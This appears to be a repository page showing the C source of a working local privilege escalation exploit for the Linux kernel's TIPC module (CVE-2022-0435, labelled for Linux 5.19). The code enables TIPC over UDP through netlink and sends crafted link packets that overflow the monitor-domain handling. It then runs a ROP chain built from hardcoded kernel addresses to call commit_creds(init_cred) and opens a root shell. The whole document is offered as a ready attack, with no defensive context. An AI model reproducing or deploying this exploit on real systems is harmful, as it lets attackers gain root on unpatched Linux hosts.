README.md
Rendering markdown...
/* from https://github.com/zzhacked/CVE-2021-43267/blob/main/poc.py */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <stdarg.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <unistd.h>
#include <linux/netlink.h>
// some constants
#define NODE_ID 0x11223344
#define TIPC_UDP_PORT 6118
// TIPC crap
#define TIPC_VERSION 2
// user messages
#define LINK_PROTOCOL 7
#define LINK_CONFIG 13
// message types
#define STATE_MSG 0
#define RESET_MSG 1
#define ACTIVATE_MSG 2
#define MSG_CRYPTO 14
// media types
#define MEDIA_TYPE_UDP 3
// w0
#define hdr_msg_size(v) ((v) & 0x1ffff)
#define hdr_size(v) ((v & 0xf) << 21)
#define hdr_user(v) ((v & 0xf) << 25)
#define hdr_nonseq(v) ((v & 1) << 20)
#define hdr_version(v) ((v & 7) << 29)
// w1
#define hdr_msg_type(v) ((v & 7) << 29)
// w2
#define hdr_link_level_seq(v) (v & 0xffff)
#define hdr_link_level_ack(v) ((v & 0xffff) << 16)
// w4
#define hdr_next_send_pkt(v) (v & 0xffff)
// w5
#define hdr_media_id(v) (v & 0xff)
#define hdr_session_number(v) ((v & 0xffff) << 16)
// utility
#define info(fmt, args...) report('$', false, fmt, ## args)
#define infov(fmt, args...) report('~', false, fmt, ## args)
#define maybe(fmt, args...) report('?', false, fmt, ## args)
#define fatal(fmt, args...) report('!', true, fmt, ## args)
#define info_value64(name, value) infov("%-24s: %016lx", name, value)
#define be16 htons
#define be32 htonl
// globals
int g_sockfd = 0;
struct sockaddr_in g_sockaddr;
void report(char indicator, bool error, const char *fmt, ...) {
FILE *stream = (error) ? stderr : stdout;
va_list a;
va_start(a, fmt);
fprintf(stream, "[%c] %s", indicator, (error) ? "ERROR: " : "");
vfprintf(stream, fmt, a);
fprintf(stream, "\n");
va_end(a);
if (error) {
exit(-1); // all errors are fatal
}
}
int netlink_send(
uint16_t type, uint16_t flags, uint32_t seq,
uint8_t* pkt, size_t pkt_len,
uint8_t **reply_buf, size_t *reply_sz
) {
int sock_fd;
struct sockaddr_nl sa;
memset(&sa, 0, sizeof(struct sockaddr_nl));
sa.nl_family = AF_NETLINK;
size_t pkt_full_len = sizeof(struct nlmsghdr) + pkt_len;
uint8_t *pkt_full = malloc(pkt_full_len);
memset(pkt_full, 0, pkt_full_len);
memcpy(pkt_full + sizeof(struct nlmsghdr), pkt, pkt_len);
struct nlmsghdr *netlink_hdr = (struct nlmsghdr*)(pkt_full);
netlink_hdr->nlmsg_len = pkt_full_len;
netlink_hdr->nlmsg_type = type;
netlink_hdr->nlmsg_flags = flags;
netlink_hdr->nlmsg_seq = seq;
netlink_hdr->nlmsg_pid = getpid();
if ((sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_GENERIC)) < 0) {
perror("socket");
return -1;
}
if (bind(sock_fd, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
perror("bind");
return -1;
}
ssize_t r = sendto(
sock_fd, pkt_full, pkt_full_len, 0,
(struct sockaddr*)&sa, sizeof(struct sockaddr_nl)
);
if (r < 0) {
perror("sendto");
return -1;
}
free(pkt_full);
if (reply_buf != NULL) {
struct msghdr m;
memset(&m, 0, sizeof(struct msghdr));
m.msg_iovlen = 1;
m.msg_iov = malloc(sizeof(struct iovec));
m.msg_iov->iov_base = malloc(0x1000);
m.msg_iov->iov_len = 0x1000;
size_t nread;
if ((nread = recvmsg(sock_fd, &m, 0)) < 0) {
goto error;
}
if (m.msg_iovlen != 1) {
goto error;
}
*reply_sz = nread;
*reply_buf = malloc(*reply_sz);
memcpy(*reply_buf, m.msg_iov->iov_base, *reply_sz);
free(m.msg_iov->iov_base);
}
close(sock_fd);
return 0;
error:
close(sock_fd);
return -1;
}
int netlink_enable_tipc_udp(char *str_ip_address) {
uint8_t pkt_ctrl[]={
0x03, 0x01, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00,
0x10, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x02, 0x00,
0x54, 0x49, 0x50, 0x43, 0x76, 0x32, 0x00, 0x00
};
uint8_t *nl_reply;
size_t nl_reply_len = 0;
uint32_t ip_addr;
uint32_t seq;
int r;
seq = time(NULL);
ip_addr = inet_addr(str_ip_address);
if (ip_addr == INADDR_NONE) {
fatal("invalid ip address given");
}
r = netlink_send(
NLMSG_MIN_TYPE, (NLM_F_REQUEST | NLM_F_ACK), seq,
pkt_ctrl, sizeof(pkt_ctrl), &nl_reply, &nl_reply_len
);
if(r < 0) {
fatal("failed to send netlink control message.");
}
if (nl_reply_len == 0) {
fatal("did not get netlink control message reply.");
}
if (*(uint32_t*)(nl_reply + 0x10) == 0xfffffffe) {
fatal("tipc support not available.");
}
uint16_t nlmsg_type = 0;
off_t pos = 0x14;
while(pos < nl_reply_len - 4) {
struct nlattr *attr = (struct nlattr*)(nl_reply + pos);
if (attr->nla_type == 1) {
nlmsg_type = *(uint16_t*)(nl_reply + pos + 4);
break;
}
pos += attr->nla_len;
if ((attr->nla_len % 4) != 0) {
pos += 4 - (attr->nla_len % 4);
}
}
if (nlmsg_type == 0) {
fatal("could not find tipc netlink message type.");
}
uint8_t pkt_tipc_enable_udp[]={
0x03, 0x01, 0x00, 0x00, 0x40, 0x00, 0x01, 0x80,
0x0d, 0x00, 0x01, 0x00, 0x75, 0x64, 0x70, 0x3a,
0x55, 0x44, 0x50, 0x31, 0x00, 0x00, 0x00, 0x00,
0x2c, 0x00, 0x04, 0x80, 0x14, 0x00, 0x01, 0x00,
0x02, 0x00, 0x17, 0xe6, 0x00, 0x00, 0x00, 0x00, // <-- +0x24 = ip
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x14, 0x00, 0x02, 0x00, 0x02, 0x00, 0x17, 0xe6,
0xe4, 0x00, 0x12, 0x67, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
*(uint32_t*)(pkt_tipc_enable_udp + 0x24) = ip_addr;
r = netlink_send(
nlmsg_type, (NLM_F_REQUEST | NLM_F_ACK), seq,
pkt_tipc_enable_udp, sizeof(pkt_tipc_enable_udp), NULL, NULL
);
if (r < 0) {
fatal("failed to send netlink tipc udp enable message.");
}
// the right way is to read back a netlink reply and check if this worked..
// I chose to go with the scientifically proven method of big chillin'
sleep(2);
return 0;
}
// tipc packet routines
void gen_tipc_hdr(
uint8_t *o,
uint32_t w0, uint32_t w1, uint32_t w2,
uint32_t w3, uint32_t w4, uint32_t w5
) {
uint32_t* o32 = (uint32_t*)o;
o32[0] = be32(w0);
o32[1] = be32(w1);
o32[2] = be32(w2);
o32[3] = be32(w3);
o32[4] = be32(w4);
o32[5] = be32(w5);
}
ssize_t tipc_send(uint8_t *buf, size_t sz) {
return sendto(
g_sockfd, buf, sz, 0, (struct sockaddr*)&g_sockaddr, sizeof(g_sockaddr)
);
}
void tipc_discover() {
uint32_t w0, w1, w2, w3, w4, w5;
uint8_t pkt[24];
w0 = 0;
w0 |= hdr_version(TIPC_VERSION);
w0 |= hdr_size(6);
w0 |= hdr_msg_size(24);
w0 |= hdr_user(LINK_CONFIG);
w0 |= hdr_nonseq(1);
w1 = 0;
w2 = 0;
w3 = NODE_ID;
w4 = 0x1267;
w5 = hdr_media_id(MEDIA_TYPE_UDP);
gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);
tipc_send(pkt, sizeof(pkt));
}
void tipc_link_state_a(uint32_t ip) {
uint8_t pkt[56];
uint32_t *body = (uint32_t*)(pkt + 24);
uint32_t w0, w1, w2, w3, w4, w5;
memset(pkt, 0, sizeof(pkt));
w0 = hdr_version(TIPC_VERSION);
w0 |= hdr_size(10);
w0 |= hdr_user(LINK_PROTOCOL);
w0 |= hdr_msg_size(56);
w1 = hdr_msg_type(RESET_MSG);
w2 = hdr_link_level_seq(0x8000);
w3 = NODE_ID;
w4 = hdr_next_send_pkt(1);
w5 = hdr_session_number(50388);
gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);
int pos = 0;
body[pos++] = be32(NODE_ID);
body[pos++] = be32(ip);
body[pos++] = 0;
body[pos++] = be32(3500 << 16);
memcpy(body + 4, "UDP1", 4);
tipc_send(pkt, sizeof(pkt));
}
void tipc_link_state_b(uint32_t ip) {
uint8_t pkt[44];
uint32_t w0, w1, w2, w3, w4, w5;
uint32_t *body = (uint32_t*)(pkt + 24);
memset(pkt, 0, sizeof(pkt));
w0 = hdr_version(TIPC_VERSION);
w0 |= hdr_size(10);
w0 |= hdr_user(LINK_PROTOCOL);
w0 |= hdr_msg_size(44);
w1 = hdr_msg_type(STATE_MSG);
w2 = hdr_link_level_seq(1);
w3 = NODE_ID;
w4 = hdr_next_send_pkt(1);
w5 = hdr_session_number(50388);
gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);
int pos = 0;
body[pos++] = be32(NODE_ID);
body[pos++] = be32(ip);
body[pos++] = 0; // timestamp
body[pos++] = 0; // max pkt/link tolerance
body[pos++] = 0; // bearer instance
tipc_send(pkt, sizeof(pkt));
}
int tipc_link_setup(char *host) {
if ((g_sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket");
return -1;
}
memset((char *) &g_sockaddr, 0, sizeof(g_sockaddr));
g_sockaddr.sin_family = AF_INET;
g_sockaddr.sin_port = htons(TIPC_UDP_PORT);
if (inet_aton(host, &g_sockaddr.sin_addr) == 0) {
perror("inet_aton");
return -1;
}
tipc_discover();
tipc_link_state_a(be32(inet_addr(host)));
tipc_link_state_b(be32(inet_addr(host)));
return 0;
}
/* my works */
#define MAX_MON_DOMAIN 64
#define IP_ADDR "127.0.0.1"
struct tipc_mon_domain {
uint16_t len;
uint16_t gen;
uint16_t ack_gen;
uint16_t member_cnt;
uint64_t up_map;
uint32_t members[MAX_MON_DOMAIN];
};
void send_payload(uint8_t* payload, uint32_t payload_len, int seqno)
{
uint8_t pkt[0x1000];
uint32_t w0, w1, w2, w3, w4, w5;
uint32_t ip = be32(inet_addr(IP_ADDR));
uint32_t *body = (uint32_t*)(pkt + 24);
int ackno = seqno + 1;
memset(pkt, 0, sizeof(pkt));
w0 = hdr_version(TIPC_VERSION);
w0 |= hdr_size(10);
w0 |= hdr_user(LINK_PROTOCOL);
w0 |= hdr_msg_size(0x28 + sizeof(struct tipc_mon_domain) + payload_len);
w1 = hdr_msg_type(STATE_MSG);
w2 = hdr_link_level_seq(seqno);
w2 |= hdr_link_level_ack(ackno);
w3 = NODE_ID;
w4 = 0;
w5 = hdr_session_number(50388);
gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);
int pos = 0;
body[pos++] = be32(NODE_ID);
body[pos++] = be32(ip);
body[pos++] = 0;
body[pos++] = 0;
/* beginning of data; checkout tipc_mon_rcv */
struct tipc_mon_domain* mon_domain = &body[pos];
mon_domain->len = be16(sizeof(struct tipc_mon_domain) + payload_len);
mon_domain->gen = be16(seqno);
mon_domain->ack_gen = be16(ackno);
mon_domain->member_cnt = be16((payload_len / 4) + MAX_MON_DOMAIN);
mon_domain->up_map = 0x0;
/* end of data */
uint8_t* end_of_data = &mon_domain->members[MAX_MON_DOMAIN];
if (payload)
memcpy(end_of_data, payload, payload_len);
tipc_send(pkt, sizeof(pkt));
}
void trigger(int seqno)
{
send_payload(NULL, 0, seqno);
}
#define rop(x) payload[idx++] = ((uint64_t)be32(x >> 32) << 32) | (uint64_t)be32(x & 0xffffffff);
/* funtion */
#define commit_creds 0xffffffff810f2780
#define bpf_get_current_task 0xffffffff81234280
#define tipc_node_find 0xffffffffc00238d0
#define tipc_node_delete 0xffffffffc0024a60
/* data */
#define init_cred 0xffffffff82a8e420
#define init_net 0xffffffff83398b80
#define softirq_stack_end 0xffffc90000004000
/* gadget */
#define cli 0xffffffff81e001f3
#define escape_gadget 0xffffffff822001ba
#define pop_rdi 0xffffffff81dda5fe
#define pop_rsi 0xffffffff81a47752
#define pop_rsp 0xffffffff81d4f54d
#define mov_rdi_rax 0xffffffffc0011419
uint32_t make_payload(uint64_t* payload)
{
uint32_t idx = 0;
rop(0UL);
rop(0UL);
rop(0UL);
rop(0UL);
rop(0UL);
rop(softirq_stack_end - 0x18); // rbp
rop(pop_rdi);
rop(init_net);
rop(pop_rsi);
rop(NODE_ID)
rop(tipc_node_find);
rop(mov_rdi_rax);
rop(softirq_stack_end - 0x18);
rop(tipc_node_delete);
rop(cli);
rop(escape_gadget);
idx += 11;
rop(pop_rdi);
rop(init_cred);
rop(commit_creds);
rop(pop_rsp);
rop(softirq_stack_end - 0x10);
return idx * 8;
}
int main(int argc, char *argv[])
{
int seqno = 0;
uint8_t payload[0x1000] = { 0, };
uint32_t payload_len;
puts("---- Linux 5.19 CVE-2022-0435 exploit ----");
info("enable tipc udp media");
if (netlink_enable_tipc_udp(IP_ADDR) < 0) {
fatal("failed to enable tipc udp media");
}
info("establish tipc link");
if (tipc_link_setup(IP_ADDR) < 0) {
fatal("failed to establish tipc link");
}
info("trigger the bug ");
payload_len = make_payload((uint64_t*)payload);
if (payload_len % 4) {
payload_len += payload_len + 4 - (payload_len % 4);
}
send_payload(payload, payload_len, ++seqno);
trigger(++seqno);
info("done!");
system("/bin/sh");
return 0;
}